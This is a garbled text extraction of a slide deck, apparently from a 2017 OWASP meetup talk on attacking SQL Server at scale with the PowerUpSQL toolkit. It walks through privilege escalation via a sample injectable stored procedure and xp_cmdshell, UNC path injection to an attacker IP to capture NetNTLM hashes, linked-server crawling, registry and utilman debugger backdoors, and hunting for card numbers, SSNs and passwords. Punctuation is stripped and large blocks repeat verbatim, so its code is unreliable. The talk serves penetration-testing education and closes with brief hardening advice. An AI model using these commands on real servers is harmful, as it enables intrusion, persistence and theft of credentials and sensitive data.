Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution

PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc

EscalatingPrivileges

Shared Service Accounts

Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts

1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them

One account to rule them all

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 33: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null

Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

Domain of SQL Server

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

Full RID of Domain Admins

group

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

6 Increment and repeat

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges DEMO

DEMOGet-SQLFuzzServerLogin

Invoke-SQLAuditWeakLoginPw

Get-SQLFuzzDomainAccount

>

Escalating Privileges Impersonation

1 Impersonate Privilege

bull Server EXECUTE AS LOGIN

bull Database EXECUTE AS USER

2 Stored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER

bull Signed with cert login

3 Automatic Execution of Stored Procedures

4 Agent Jobs

bull User Reader and Operator roles

5 xp_cmdshell proxy acount

6 Create Databse Link to File or Server

7 Import Install Custom Assemblies

8 Ad-Hoc Queries

9 Shared Service Accounts

10 Database Links

11 UNC Path Injection

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Prosbull Execute queriescommands in another user

context

Consbull Commands and queries are not limited in any waybull Requires database to be configured as trustworthy

for OS command execution

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE

Consbull No granular control over the database ownerrsquos

privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB

which is often a sysadminbull Requires database to be configured as trustworthy for

OS command executionbull Impersonation can be done via SQL injection under

specific conditionsbull Impersonation can be done via command injection

under specific conditions

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

SYSADMIN is often the

OWNER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull Use signed Procedures

o Create stored procedure

o Create a database master key

o Create a certificate

o Create a login from the certificate

o Configure login privileges

o Sign stored procedure with certifiate

o GRANT EXECUTE to User

Prosbull Can execute queriescommands in another user

contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as

trustworthy for OS command execution

Consbull Impersonation can be done via SQL injection

under specific conditionsbull Impersonation can be done via command

injection under specific conditions

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

PURE EVIL

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure

bull Stored procedures ca be configured to execute when the SQL Server service restarts

Prosbull Marking a stored procedure to run when the SQL

Server service restarts has many use casesbull Only stored procedures in the master database

can be marked for auto execution

Consbull No granular control over what context the startup

command is executed inbull All stored procedures marked for auto execution

are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures

can lead to execution as lsquosarsquo

Escalating Privileges DEMO

DEMOInvoke-SQLAudit

Escalating Privileges Invoke-SQLPrivEsc

Whooray for Automation Demo

>

Escalating Privileges DEMO

DEMOInvoke-SQLEscalatePriv

Escalating Privileges Invoke-SQLPrivEsc

DEMO

>

EscalatingPrivileges

SysAdmin to Service Account

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

Executing OS Commands xp_cmdshell Custom Assemblies (net) httpsekirkitycomseeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution Custom Extended Stored Procedures (C++) Agent Jobs httpswwwoptivcomblogmssql-agent-jobs-for-command-execution

o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package

Registry Autoruns File Autoruns

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

You donrsquot need to know the password crack a hash or PTH

Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin

Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016

bull We can now escalation from service account to LocalSystem

bull No patch that Irsquom aware of

bull Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)

Blog

httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system

Code

httpsgithubcomfoxglovesecRottenPotato

Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution

PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc

EscalatingPrivileges

Shared Service Accounts

Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts

1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them

One account to rule them all

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

